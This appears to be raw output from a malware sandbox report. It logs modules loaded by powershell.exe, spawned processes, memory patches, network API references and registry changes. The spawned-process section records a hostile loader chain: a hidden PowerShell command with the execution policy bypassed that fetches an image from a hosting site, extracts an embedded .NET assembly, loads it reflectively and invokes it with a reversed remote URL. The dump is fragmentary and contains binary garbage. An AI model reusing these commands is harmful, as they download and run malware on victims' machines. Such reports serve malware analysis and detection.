loaded module "PROFAPI.DLL" at base fced0000 "powershell.exe" loaded module "USER32.DLL" at base 76fb0000 "powershell.exe" loaded module "NTSHRUI.DLL" at base f28d0000 "powershell.exe" loaded module "SRVCLI.DLL" at base fc8c0000 "powershell.exe" loaded module "CSCAPI.DLL" at base f8c00000 "powershell.exe" loaded module "SLC.DLL" at base faa30000 "powershell.exe" loaded module "SHLWAPI.DLL" at base ff200000 "powershell.exe" loaded module "CRYPTSP.DLL" at base fc6b0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base fc3b0000 "powershell.exe" loaded module "CRYPTBASE.DLL" at base fcd20000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base f8f20000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "powershell.exe" loaded module "KERNEL32" at base 770b0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base f1d70000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "VERSION.DLL" at base fbfa0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V2.0.50727\MSCORWKS.DLL" at base e8d60000 "powershell.exe" loaded module "MSCOREE.DLL" at base f1e20000 "powershell.exe" loaded module "NTDLL" at base 771d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSCOREE.DLL" at base f1e20000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\MSCORLIB\0478AED7FC25AE268474C704FD2A3E0F\MSCORLIB.NI.DLL" at base e7e80000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V2.0.50727\OLE32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V2.0.50727\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM\9B0615D346556A8AE639DCEC168731CC\SYSTEM.NI.DLL" at base e7440000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\MICROSOFT.POWERSHEL#\FABCA41DC6CC22A902C2525408B49AB9\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base f0400000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.MANAGEMENT.A#\D5AB9EBDFC2BACEA66210C16FFF703D2\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base e68e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_MSIL\SYSTEM\2.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "powershell.exe" loaded module "PSAPI.DLL" at base 77390000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_MSIL\SYSTEM\2.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "powershell.exe" loaded module "NTDLL.DLL" at base 771d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.CORE\2706DDBD765B8A111D3083F8AF88EF03\SYSTEM.CORE.NI.DLL" at base ea490000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\MICROSOFT.POWERSHEL#\326A4488A1881B3BD8EA1E8F4DD7420F\MICROSOFT.POWERSHELL.COMMANDS.DIAGNOSTICS.NI.DLL" at base ee8b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.CONFIGURATIO#\1E9190C7A12053EA715C8D8EF8FADDD1\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base f03c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\MICROSOFT.WSMAN.MAN#\23314086651FF4D13264EF3CD19E0B4E\MICROSOFT.WSMAN.MANAGEMENT.NI.DLL" at base ee800000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.TRANSACTIONS\9354030849F9E58D9B95D32149F7BB68\SYSTEM.TRANSACTIONS.NI.DLL" at base ee710000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\2.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 73b40000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\MICROSOFT.POWERSHEL#\2E6EBCF758BBFFD55F7ABFD8878C72C1\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base e9dc0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\MICROSOFT.POWERSHEL#\7C10A24FF552941B03414D424169041F\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base ea370000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\MICROSOFT.POWERSHEL#\89738D6A75AB575F400360D0670F60ED\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base f0cc0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V2.0.50727\CULTURE.DLL" at base f1e90000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V2.0.50727\MSCORJIT.DLL" at base e9c30000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.XML\E0542EB82C5F716397D316D5C88F7AE5\SYSTEM.XML.NI.DLL" at base e6230000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.MANAGEMENT\38C49B707AF17308185A48479FCB7404\SYSTEM.MANAGEMENT.NI.DLL" at base e60c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.DIRECTORYSER#\543DE12CE97F16746B85981A80878035\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base e5f20000 "powershell.exe" loaded module "SHFOLDER.DLL" at base f1e90000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_64\MSCORLIB\2.0.0.0__B77A5C561934E089\SECUR32.DLL" at base 0 "powershell.exe" loaded module "SECUR32.DLL" at base fc9f0000 "powershell.exe" loaded module "SSPICLI.DLL" at base fcc90000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.DATA\2276C85B65E1F517DA1B9026640E2A55\SYSTEM.DATA.NI.DLL" at base e56c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_64\SYSTEM.DATA\2.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 71760000 "powershell.exe" loaded module "NETUTILS.DLL" at base facd0000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base f3490000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V2.0.50727\MSCORWKS.DLL" at base e83c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\MSCORLIB\0478AED7FC25AE268474C704FD2A3E0F\MSCORLIB.NI.DLL" at base e74e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM\9B0615D346556A8AE639DCEC168731CC\SYSTEM.NI.DLL" at base e6aa0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\MICROSOFT.POWERSHEL#\FABCA41DC6CC22A902C2525408B49AB9\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base f04a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.MANAGEMENT.A#\D5AB9EBDFC2BACEA66210C16FFF703D2\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base e5f40000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.CORE\2706DDBD765B8A111D3083F8AF88EF03\SYSTEM.CORE.NI.DLL" at base e9cb0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\MICROSOFT.POWERSHEL#\326A4488A1881B3BD8EA1E8F4DD7420F\MICROSOFT.POWERSHELL.COMMANDS.DIAGNOSTICS.NI.DLL" at base f0c90000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.CONFIGURATIO#\1E9190C7A12053EA715C8D8EF8FADDD1\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base f0c50000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\MICROSOFT.WSMAN.MAN#\23314086651FF4D13264EF3CD19E0B4E\MICROSOFT.WSMAN.MANAGEMENT.NI.DLL" at base f03f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.TRANSACTIONS\9354030849F9E58D9B95D32149F7BB68\SYSTEM.TRANSACTIONS.NI.DLL" at base ee830000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\2.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 73a80000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\MICROSOFT.POWERSHEL#\2E6EBCF758BBFFD55F7ABFD8878C72C1\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base ea5a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\MICROSOFT.POWERSHEL#\7C10A24FF552941B03414D424169041F\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base ee710000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\MICROSOFT.POWERSHEL#\89738D6A75AB575F400360D0670F60ED\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base f0670000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V2.0.50727\CULTURE.DLL" at base f60e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V2.0.50727\MSCORJIT.DLL" at base ea410000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.XML\E0542EB82C5F716397D316D5C88F7AE5\SYSTEM.XML.NI.DLL" at base e9050000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.MANAGEMENT\38C49B707AF17308185A48479FCB7404\SYSTEM.MANAGEMENT.NI.DLL" at base e8ee0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.DIRECTORYSER#\543DE12CE97F16746B85981A80878035\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base e5da0000 "powershell.exe" loaded module "SHFOLDER.DLL" at base f60e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.DATA\2276C85B65E1F517DA1B9026640E2A55\SYSTEM.DATA.NI.DLL" at base e5540000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_64\SYSTEM.DATA\2.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 71450000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\1.0.0.0__31BF3856AD364E35\SHELL32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base fccc0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V2.0.50727\CULTURE.DLL" at base f49d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.CONFIGURATION\A2571A4E32A586B52463D88A83702AED\SYSTEM.CONFIGURATION.NI.DLL" at base e8d90000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_MSIL\SYSTEM\2.0.0.0__B77A5C561934E089\RASAPI32.DLL" at base 0 "powershell.exe" loaded module "RASAPI32.DLL" at base f2070000 "powershell.exe" loaded module "RTUTILS.DLL" at base fa350000 "powershell.exe" loaded module "API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL" at base fe880000 "powershell.exe" loaded module "API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL" at base fe880000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_MSIL\SYSTEM\2.0.0.0__B77A5C561934E089\WS2_32.DLL" at base 0 "powershell.exe" loaded module "WS2_32.DLL" at base fd6e0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base fc650000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WSHTCPIP.DLL" at base fc070000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WSHIP6.DLL" at base fc640000 "powershell.exe" loaded module "RASMAN.DLL" at base f2050000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_MSIL\SYSTEM\2.0.0.0__B77A5C561934E089\WINHTTP.DLL" at base 0 "powershell.exe" loaded module "WINHTTP.DLL" at base f8d40000 "powershell.exe" loaded module "CREDSSP.DLL" at base fc2b0000 "powershell.exe" loaded module "IPHLPAPI.DLL" at base fa9b0000 "powershell.exe" loaded module "DHCPCSVC6.DLL" at base fa830000 "powershell.exe" loaded module "DHCPCSVC.DLL" at base fa810000 "powershell.exe" loaded module "NSI.DLL" at base feb50000 "powershell.exe" loaded module "CFGMGR32.DLL" at base fcf20000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_MSIL\SYSTEM\2.0.0.0__B77A5C561934E089\IPHLPAPI.DLL" at base 0 "powershell.exe" loaded module "DNSAPI.DLL" at base fc4d0000 "powershell.exe" loaded module "RASADHLP.DLL" at base f9ff0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base fa8a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_MSIL\SYSTEM\2.0.0.0__B77A5C561934E089\SECURITY.DLL" at base 0 "powershell.exe" loaded module "SECURITY.DLL" at base 73c30000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base fc440000 "powershell.exe" loaded module "NCRYPT.DLL" at base fc830000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base fc2f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_MSIL\SYSTEM\2.0.0.0__B77A5C561934E089\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "CRYPT32.DLL" at base fd110000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V2.0.50727\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "GPAPI.DLL" at base fc160000 "powershell.exe" loaded module "API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL" at base fe880000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTNET.DLL" at base f9580000 "powershell.exe" loaded module "CRYPTNET.DLL" at base f9580000 "powershell.exe" loaded module "SENSAPI.DLL" at base f49d0000 "powershell.exe" loaded module "CABINET.DLL" at base f0c30000 "powershell.exe" loaded module "DEVRTL.DLL" at base fc180000 "powershell.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base fe880000 "powershell.exe" loaded module "GDI32.DLL" at base fd730000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V2.0.50727\DIASYMREADER.DLL" at base ea34000028:T98b,Spawned process "cmd.exe" with commandline "/c ping 127.0.0.1 -n 5 & cmd.exe /c "powershell -command [System ..." (UID: 00000000-00001844), Spawned process "PING.EXE" with commandline "ping 127.0.0.1 -n 5" (UID: 00000000-00002120), Spawned process "cmd.exe" with commandline "/c "powershell -command [System.IO.File]::Copy('C:\\ESL.vbs','%A ..." (UID: 00000000-00001204) Spawned process "powershell.exe" with commandline "powershell -command [System.IO.File]::Copy('C:\\ESL.vbs','%APPD ..." (UID: 00000000-00002164) Spawned process "powershell.exe" with commandline "-command $Codigo = 'J\u2042\u21f5Bp\u2042\u21f5G0\u2042\u21f5YQB ..." (UID: 00000000-00001544) Spawned process "powershell.exe" with commandline "-windowstyle hidden -executionpolicy bypss -NoProfile -command " ..." (UID: 00000000-00002724, Additional Context: "%WINDIR%\System32\WindowsPowerShell\v1.\powershell.exe" windowstyle hidden executionpolicy bypss NoProfile command "$imageUrl 'https://uploaddeimagens.com.br/images/4/563/621/original/universo_vbs.jpeg?169931855'[System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) [System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) [System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>)[System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) + <>.Length4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB8493114D2CACB5E9937B1B449DCA1D8A78144C5F67AD4ADAE29E8A66A781CAD7AC22775EC4E7C11213AE43434B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB849311[System.Reflection.Assembly]::Load(4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB8493114D2CACB5E9937B1B449DCA1D8A78144C5F67AD4ADAE29E8A66A781CAD7AC22775EC4E7C11213AE43434B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB849311).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, ,('txt.234de/lt/761.161.651.49//:ptth')); K+-zd��'r�b��+k�x"��+^�+��M�mw(v)�Q1|�R��)��r��9�@HN�I0M,��{D��xL_z��)��f�x�z�'u�N|�44��M�mw(v)�Q1|�R��)��r��9�@HN�I0")29:Tbf3,"powershell.exe" wrote bytes "669065488b042590150000c366669066669090" to virtual address "0xE9015B40" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "eb11c366669066669066669066669066669090" to virtual address "0xE9015BC0" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "654c8b1c2590150000" to virtual address "0xE9017480" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "4889114881fa18102e03722448c1e90a80b9c0342d1bff7502f3c3c681c0342d1bffc366666690666666906666906690f3c3ff7502f3c3c60408ffc366666690f3c3666666906666669066669066669090" to virtual address "0xE9015F00" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "654c8b1c2590150000" to virtual address "0xE9017403" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "65488b042590150000" to virtual address "0xE9017A44" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "65488b042598150000" to virtual address "0xE9018C0B" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "65488b042598150000" to virtual address "0xE9018C4B" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "65488b042598150000" to virtual address "0xE9018C8B" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "65488b042598150000" to virtual address "0xE9018CCB" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "654c8b1c2590150000" to virtual address "0xE901760D" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "654c8b1c2590150000" to virtual address "0xE901755E" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "65488b042590150000" to virtual address "0xE9017A60" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "65488b042590150000" to virtual address "0xE9017A25" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "7813060300000000" to virtual address "0x71A42640" (part of module "SYSTEM.DATA.DLL") "powershell.exe" wrote bytes "bfd6519b82d60000" to virtual address "0xE8DA1D70" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "654c8b1c2590150000" to virtual address "0xE90177AA" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "654c8b1c2590150000" to virtual address "0xE90178AD" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "a813060300000000" to virtual address "0x71A42648" (part of module "SYSTEM.DATA.DLL") "powershell.exe" wrote bytes "654c8b1c2590150000" to virtual address "0xE90175B3" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "d813060300000000" to virtual address "0x71A42650" (part of module "SYSTEM.DATA.DLL") "powershell.exe" wrote bytes "654c8b1c2590150000" to virtual address "0xE90174FB" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "0814060300000000" to virtual address "0x71A42658" (part of module "SYSTEM.DATA.DLL") "powershell.exe" wrote bytes "65488b042590150000" to virtual address "0xE901863C" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "654c8b1c2590150000" to virtual address "0xE901743F" (part of module "MSCORWKS.DLL")2a:T5f4,Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00002724-00000C26-55585426") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; Source: "00000000-00002724-00000C26-55839951") Found reference to API "WinHttpOpenW" (Indicator: "WinHttpOpen"; Source: "00000000-00002724-00000C26-55840498") Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; Source: "00000000-00002724-00000C26-57848550") Found reference to API "WinHttpOpenRequest" (Indicator: "HttpOpenRequest"; Source: "00000000-00002724-00000C26-57849904") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; Source: "00000000-00002724-00000C26-57849904") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; Source: "00000000-00002724-00000C26-57849904") Found reference to API "WinHttpSendRequest" (Indicator: "HttpSendRequest"; Source: "00000000-00002724-00000C26-58102221") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; Source: "00000000-00002724-00000C26-58102221") Found reference to API "WSARecv" (Indicator: "WSARecv"; Source: "00000000-00002724-00000C26-58146286") Found reference to API "WSASend" (Indicator: "WSASend"; Source: "00000000-00002724-00000C26-58147457") Found reference to API "WinHttpQueryHeaders" (Indicator: "WinHttpQueryHeaders"; Source: "00000000-00002724-00000C26-58158953") Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; Source: "00000000-00002724-00000C26-58159782")2b:T8b1,"WScript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "00000000") "WScript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "01000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\16E\52C64B7E"; Key: "LANGUAGELIST"; Value: "en-US") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLEFILETRACING"; Value: "00000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLECONSOLETRACING"; Value: "00000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "FILETRACINGMASK"; Value: "0000FFFF") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "CONSOLETRACINGMASK"; Value: "0000FFFF") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "MAXFILESIZE"; Value: "00001000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "FILEDIRECTORY"; Value: "%windir%\tracing") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLEFILETRACING"; Value: "00000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLECONSOLETRACING"; Value: "00000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "FILETRACINGMASK"; Value: "0000FFFF") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "CONSOLETRACINGMASK"; Value: "0000FFFF") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "MAXFILESIZE"; Value: "00001000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "FILEDIRECTORY"; Value: "%windir%\tracing")2c:Tac5,"powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "ENABLEDHCP"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "NAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "DHCPNAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "NAMESERVER"; Value: "") "powershell.exe" 